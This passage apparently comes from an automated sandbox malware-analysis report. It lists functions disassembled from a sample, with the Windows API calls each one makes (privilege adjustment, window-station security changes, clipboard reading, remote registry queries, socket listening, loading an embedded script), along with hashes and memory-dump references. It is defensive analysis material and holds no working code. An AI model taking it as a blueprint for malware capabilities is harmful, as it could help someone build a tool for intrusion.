                                                                                                                                                                • API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
                                                                                                                                                                • String ID: $default$winsta0
                                                                                                                                                                • API String ID: 22674027-1027155976
                                                                                                                                                                • Opcode ID: f5c446aaf20a998bd23b62283462e5c2f2d808308ac32ec618c2d49f7f4e98f6
                                                                                                                                                                • Instruction ID: 830b2f99b8845d725a23a5c4d3ab4e3a0a429ffe689fde49506564160a3ee369
                                                                                                                                                                • Opcode Fuzzy Hash: f5c446aaf20a998bd23b62283462e5c2f2d808308ac32ec618c2d49f7f4e98f6
                                                                                                                                                                • Instruction Fuzzy Hash: 13817471900248EBDF219FA8DD49BFE7BBCEF48300F144129FA10A62A1D7718946CBA0
                                                                                                                                                                Function 009F13DC Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009F1973: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 009F198E
                                                                                                                                                                  • Part of subcall function 009F1973: GetLastError.KERNEL32(?,00000000,00000000,?,?,009F1415,?,?,?), ref: 009F199A
                                                                                                                                                                  • Part of subcall function 009F1973: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,009F1415,?,?,?), ref: 009F19A9
                                                                                                                                                                  • Part of subcall function 009F1973: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,009F1415,?,?,?), ref: 009F19B0
                                                                                                                                                                  • Part of subcall function 009F1973: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 009F19C7
                                                                                                                                                                • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 009F1446
                                                                                                                                                                • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 009F147A
                                                                                                                                                                • GetLengthSid.ADVAPI32(?), ref: 009F1491
                                                                                                                                                                • GetAce.ADVAPI32(?,00000000,?), ref: 009F14CB
                                                                                                                                                                • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 009F14E7
                                                                                                                                                                • GetLengthSid.ADVAPI32(?), ref: 009F14FE
                                                                                                                                                                • GetProcessHeap.KERNEL32(00000008,00000008), ref: 009F1506
                                                                                                                                                                • HeapAlloc.KERNEL32(00000000), ref: 009F150D
                                                                                                                                                                • GetLengthSid.ADVAPI32(?,00000008,?), ref: 009F152E
                                                                                                                                                                • CopySid.ADVAPI32(00000000), ref: 009F1535
                                                                                                                                                                • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 009F1564
                                                                                                                                                                • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 009F1586
                                                                                                                                                                • SetUserObjectSecurity.USER32(?,00000004,?), ref: 009F1598
                                                                                                                                                                • GetProcessHeap.KERNEL32(00000000,00000000), ref: 009F15BF
                                                                                                                                                                • HeapFree.KERNEL32(00000000), ref: 009F15C6
                                                                                                                                                                • GetProcessHeap.KERNEL32(00000000,00000000), ref: 009F15CF
                                                                                                                                                                • HeapFree.KERNEL32(00000000), ref: 009F15D6
                                                                                                                                                                • GetProcessHeap.KERNEL32(00000000,00000000), ref: 009F15DF
                                                                                                                                                                • HeapFree.KERNEL32(00000000), ref: 009F15E6
                                                                                                                                                                • GetProcessHeap.KERNEL32(00000000,?), ref: 009F15F2
                                                                                                                                                                • HeapFree.KERNEL32(00000000), ref: 009F15F9
                                                                                                                                                                  • Part of subcall function 009F1A0D: GetProcessHeap.KERNEL32(00000008,009F142B,?,00000000,?,009F142B,?), ref: 009F1A1B
                                                                                                                                                                  • Part of subcall function 009F1A0D: HeapAlloc.KERNEL32(00000000,?,00000000,?,009F142B,?), ref: 009F1A22
                                                                                                                                                                  • Part of subcall function 009F1A0D: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,009F142B,?), ref: 009F1A31
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 4175595110-0
                                                                                                                                                                • Opcode ID: a0ede8822df3a4b57b34c13abe7f63e2fb6b3b36f1d26e6e3f56c30b92ddeb1c
                                                                                                                                                                • Instruction ID: 84bf73ac4c3351e8648707f7ec681d152431bda87a1d70c0c1964da1bf254aa6
                                                                                                                                                                • Opcode Fuzzy Hash: a0ede8822df3a4b57b34c13abe7f63e2fb6b3b36f1d26e6e3f56c30b92ddeb1c
                                                                                                                                                                • Instruction Fuzzy Hash: C9711BB2900219EFDB10DFA5DC45FBEBBBCBF44311F144125FA16A61A1D7719A06CBA0
                                                                                                                                                                Function 00A0F345 Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • OpenClipboard.USER32(00A2DBF4), ref: 00A0F36F
                                                                                                                                                                • IsClipboardFormatAvailable.USER32(0000000D), ref: 00A0F37D
                                                                                                                                                                • GetClipboardData.USER32(0000000D), ref: 00A0F389
                                                                                                                                                                • CloseClipboard.USER32 ref: 00A0F395
                                                                                                                                                                • GlobalLock.KERNEL32(00000000), ref: 00A0F3CD
                                                                                                                                                                • CloseClipboard.USER32 ref: 00A0F3D7
                                                                                                                                                                • GlobalUnlock.KERNEL32(00000000), ref: 00A0F402
                                                                                                                                                                • IsClipboardFormatAvailable.USER32(00000001), ref: 00A0F40F
                                                                                                                                                                • GetClipboardData.USER32(00000001), ref: 00A0F417
                                                                                                                                                                • GlobalLock.KERNEL32(00000000), ref: 00A0F428
                                                                                                                                                                • GlobalUnlock.KERNEL32(00000000), ref: 00A0F468
                                                                                                                                                                • IsClipboardFormatAvailable.USER32(0000000F), ref: 00A0F47E
                                                                                                                                                                • GetClipboardData.USER32(0000000F), ref: 00A0F48A
                                                                                                                                                                • GlobalLock.KERNEL32(00000000), ref: 00A0F49B
                                                                                                                                                                • DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 00A0F4BD
                                                                                                                                                                • DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00A0F4DA
                                                                                                                                                                • DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00A0F518
                                                                                                                                                                • GlobalUnlock.KERNEL32(00000000), ref: 00A0F539
                                                                                                                                                                • CountClipboardFormats.USER32 ref: 00A0F55A
                                                                                                                                                                • CloseClipboard.USER32 ref: 00A0F59F
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 420908878-0
                                                                                                                                                                • Opcode ID: e09b737cb9b5ac3707d0f93707493a3d51547de548b0b5d19e0023a109ef81ad
                                                                                                                                                                • Instruction ID: c71d94bdc3bbc346ab59ea95bf1cbc4f411d62cf0a2b1649b0a905cc78fbb93d
                                                                                                                                                                • Opcode Fuzzy Hash: e09b737cb9b5ac3707d0f93707493a3d51547de548b0b5d19e0023a109ef81ad
                                                                                                                                                                • Instruction Fuzzy Hash: 5061C1302043059FD720EF68EC94F7AB7A4AF88714F14452DF8569B6E2DB31E946CB62
                                                                                                                                                                Function 00A04635 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00A04657
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A04684
                                                                                                                                                                • CreateDirectoryW.KERNEL32(?,00000000), ref: 00A046B4
                                                                                                                                                                • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00A046D5
                                                                                                                                                                • RemoveDirectoryW.KERNEL32(?), ref: 00A046E5
                                                                                                                                                                • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00A0476C
                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 00A04777
                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 00A04782
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
                                                                                                                                                                • String ID: :$\$\??\%s
                                                                                                                                                                • API String ID: 1149970189-3457252023
                                                                                                                                                                • Opcode ID: 4e0021ff3147665473625518e65ffac3d570de541680b1de81696d639f056cda
                                                                                                                                                                • Instruction ID: 7dd4f3415259466c78a70bf61c17070d1c2fcc0b226cc7e1bb8e1df9c1e4cf5a
                                                                                                                                                                • Opcode Fuzzy Hash: 4e0021ff3147665473625518e65ffac3d570de541680b1de81696d639f056cda
                                                                                                                                                                • Instruction Fuzzy Hash: 4031F2B550020AABDB21DBA0EC49FEB33BCFF89700F1040B5F608D20A1EB7196458B24
                                                                                                                                                                Function 00A1C5C4 Relevance: 17.0, APIs: 11, Instructions: 456registryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00A1D11B: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A1BE2E,?,?), ref: 00A1D138
                                                                                                                                                                  • Part of subcall function 00A1D11B: _wcslen.LIBCMT ref: 00A1D174
                                                                                                                                                                  • Part of subcall function 00A1D11B: _wcslen.LIBCMT ref: 00A1D1E2
                                                                                                                                                                  • Part of subcall function 00A1D11B: _wcslen.LIBCMT ref: 00A1D218
                                                                                                                                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A1C6BE
                                                                                                                                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?), ref: 00A1C729
                                                                                                                                                                • RegCloseKey.ADVAPI32(00000000), ref: 00A1C74D
                                                                                                                                                                • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00A1C7AC
                                                                                                                                                                • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00A1C867
                                                                                                                                                                • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00A1C8D4
                                                                                                                                                                • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00A1C969
                                                                                                                                                                • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 00A1C9BA
                                                                                                                                                                • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00A1CA63
                                                                                                                                                                • RegCloseKey.ADVAPI32(?,?,00000000), ref: 00A1CB02
                                                                                                                                                                • RegCloseKey.ADVAPI32(00000000), ref: 00A1CB0F
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: QueryValue$Close_wcslen$BuffCharConnectOpenRegistryUpper
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3102970594-0
                                                                                                                                                                • Opcode ID: de378e074d0ce5011c76be87560d28576353398344bab2f4f4ac67b5fef04ef1
                                                                                                                                                                • Instruction ID: a4ece9129e7879ee7189810ec5585fc8d1b638c178a387217b678b4618cf6e14
                                                                                                                                                                • Opcode Fuzzy Hash: de378e074d0ce5011c76be87560d28576353398344bab2f4f4ac67b5fef04ef1
                                                                                                                                                                • Instruction Fuzzy Hash: E4026F71604200AFCB15DF28C995E6ABBE5FF89354F18849DF44ACB2A2D731ED82CB51
                                                                                                                                                                Function 00A072A6 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 286timefileCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • FindFirstFileW.KERNEL32(?,?), ref: 00A072D2
                                                                                                                                                                • FindClose.KERNEL32(00000000), ref: 00A07323
                                                                                                                                                                • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00A0734F
                                                                                                                                                                • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00A07366
                                                                                                                                                                  • Part of subcall function 0099C110: _wcslen.LIBCMT ref: 0099C11A
                                                                                                                                                                • FileTimeToSystemTime.KERNEL32(?,?), ref: 00A0738D
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FileTime$FindLocal$CloseFirstSystem_wcslen
                                                                                                                                                                • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
                                                                                                                                                                • API String ID: 409396820-2428617273
                                                                                                                                                                • Opcode ID: 8c61b513ec7f53214bf16d70aed4a71ad1638ed0e31c8c37d7b09ff1591c7780
                                                                                                                                                                • Instruction ID: 7057303c763cd7b5b93447faa7ebb8973784d2c729c3edff48874e0836579844
                                                                                                                                                                • Opcode Fuzzy Hash: 8c61b513ec7f53214bf16d70aed4a71ad1638ed0e31c8c37d7b09ff1591c7780
                                                                                                                                                                • Instruction Fuzzy Hash: E3A130B1418244AFC714EBA8D885EBFB7ECBF85344F40481DF98587192EB34E949CB62
                                                                                                                                                                Function 009FD7CC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 175fileCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009950F7: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00995035,?,?,009D4641,?,?,00000100,00000000,00000000,CMDLINE), ref: 00995117
                                                                                                                                                                  • Part of subcall function 009FE8F5: CompareStringW.KERNEL32(00000400,00000001,?,?,009FD818,?,?,?,?,?,?,00000000), ref: 009FE947
                                                                                                                                                                  • Part of subcall function 009FE970: GetFileAttributesW.KERNEL32(?,009FD6EB), ref: 009FE971
                                                                                                                                                                • FindFirstFileW.KERNEL32(?,?), ref: 009FD878
                                                                                                                                                                • CompareStringW.KERNEL32(00000400,00000001,?,?,?,?,?,?,?), ref: 009FD92D
                                                                                                                                                                • DeleteFileW.KERNEL32(?), ref: 009FD93F
                                                                                                                                                                • MoveFileW.KERNEL32(?,?), ref: 009FD952
                                                                                                                                                                • DeleteFileW.KERNEL32(?,?,?,?), ref: 009FD96F
                                                                                                                                                                • FindNextFileW.KERNEL32(00000000,00000010), ref: 009FD999
                                                                                                                                                                  • Part of subcall function 009FD9FE: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,009FD97E,?,?), ref: 009FDA14
                                                                                                                                                                • FindClose.KERNEL32(00000000,?,?,?), ref: 009FD9B5
                                                                                                                                                                • FindClose.KERNEL32(00000000), ref: 009FD9C6
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$Find$CloseCompareDeleteString$AttributesCopyFirstFullMoveNameNextPath
                                                                                                                                                                • String ID: \*.*
                                                                                                                                                                • API String ID: 597992297-1173974218
                                                                                                                                                                • Opcode ID: 2719953361cf10d96c74c98bfde4194997e673159f731dac576dfc9db9b2d4e2
                                                                                                                                                                • Instruction ID: ba3e62fc84af3984f585da94b0ee7675591da926ddd2d441691357917d23f30e
                                                                                                                                                                • Opcode Fuzzy Hash: 2719953361cf10d96c74c98bfde4194997e673159f731dac576dfc9db9b2d4e2
                                                                                                                                                                • Instruction Fuzzy Hash: 8761903180214D9ECF11EBE8DD52AFDB77AAF54300F204165E501771A2EB705F4ACB61
                                                                                                                                                                Function 00A0F5B0 Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1737998785-0
                                                                                                                                                                • Opcode ID: 04b22b2dae23f369afb100f855ed217ea3db0cd14fe8b436deef23546aa81d81
                                                                                                                                                                • Instruction ID: 257eb7f49591aef53c771265f252b1299982ec2b00a752fea473569f8b2a1efe
                                                                                                                                                                • Opcode Fuzzy Hash: 04b22b2dae23f369afb100f855ed217ea3db0cd14fe8b436deef23546aa81d81
                                                                                                                                                                • Instruction Fuzzy Hash: 0A41BE71205651AFD720CF69E888F25BBE4EF44318F14C0A9E4199BBB2C736EC42CB90
                                                                                                                                                                Function 009FF0CD Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009F1F3D: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 009F1F87
                                                                                                                                                                  • Part of subcall function 009F1F3D: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 009F1FB4
                                                                                                                                                                  • Part of subcall function 009F1F3D: GetLastError.KERNEL32 ref: 009F1FC4
                                                                                                                                                                • ExitWindowsEx.USER32(?,00000000), ref: 009FF109
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
                                                                                                                                                                • String ID: $ $@$SeShutdownPrivilege
                                                                                                                                                                • API String ID: 2234035333-3163812486
                                                                                                                                                                • Opcode ID: bb48fb53b9400b3a2fc3d3531925efdbb699b4439f8ea0d6702c2a98742caae5
                                                                                                                                                                • Instruction ID: 28e7d0804cb2cb6e318663d74d157da79702af96d7c4a6d149735bb285643480
                                                                                                                                                                • Opcode Fuzzy Hash: bb48fb53b9400b3a2fc3d3531925efdbb699b4439f8ea0d6702c2a98742caae5
                                                                                                                                                                • Instruction Fuzzy Hash: C401DB72714218EBF72466BCECA5FBE725C9F45344F250831FE02E21D2D6645C454390
                                                                                                                                                                Function 00A11A4A Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00A11ABC
                                                                                                                                                                • WSAGetLastError.WSOCK32 ref: 00A11AC9
                                                                                                                                                                • bind.WSOCK32(00000000,?,00000010), ref: 00A11B00
                                                                                                                                                                • WSAGetLastError.WSOCK32 ref: 00A11B0B
                                                                                                                                                                • closesocket.WSOCK32(00000000), ref: 00A11B3A
                                                                                                                                                                • listen.WSOCK32(00000000,00000005), ref: 00A11B49
                                                                                                                                                                • WSAGetLastError.WSOCK32 ref: 00A11B53
                                                                                                                                                                • closesocket.WSOCK32(00000000), ref: 00A11B82
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ErrorLast$closesocket$bindlistensocket
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 540024437-0
                                                                                                                                                                • Opcode ID: 93147b1bbaff5e79af22c428eb0a830406d62c21380adcc7265748fdc6c1f2e2
                                                                                                                                                                • Instruction ID: 84a3131a19d86353b333aac6df33121dd0570f4b76b11d6d098a7f8f94a81fac
                                                                                                                                                                • Opcode Fuzzy Hash: 93147b1bbaff5e79af22c428eb0a830406d62c21380adcc7265748fdc6c1f2e2
                                                                                                                                                                • Instruction Fuzzy Hash: B7418D316052409FD720DF68C588B69BBE5BF46318F188198E9569F293C771ECC2CBE1
                                                                                                                                                                Function 00A038E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,009D3BC0,?,?,00000000,00000000), ref: 00A038F0
                                                                                                                                                                • FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,009D3BC0,?,?,00000000,00000000), ref: 00A03907
                                                                                                                                                                • LoadResource.KERNEL32(?,00000000,?,?,009D3BC0,?,?,00000000,00000000,?,?,?,?,?,?,00992C35), ref: 00A03917
                                                                                                                                                                • SizeofResource.KERNEL32(?,00000000,?,?,009D3BC0,?,?,00000000,00000000,?,?,?,?,?,?,00992C35), ref: 00A03928
                                                                                                                                                                • LockResource.KERNEL32(009D3BC0,?,?,009D3BC0,?,?,00000000,00000000,?,?,?,?,?,?,00992C35,?), ref: 00A03937
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                                                                                                                                                • String ID: SCRIPT
                                                                                                                                                                • API String ID: 3051347437-3967369404
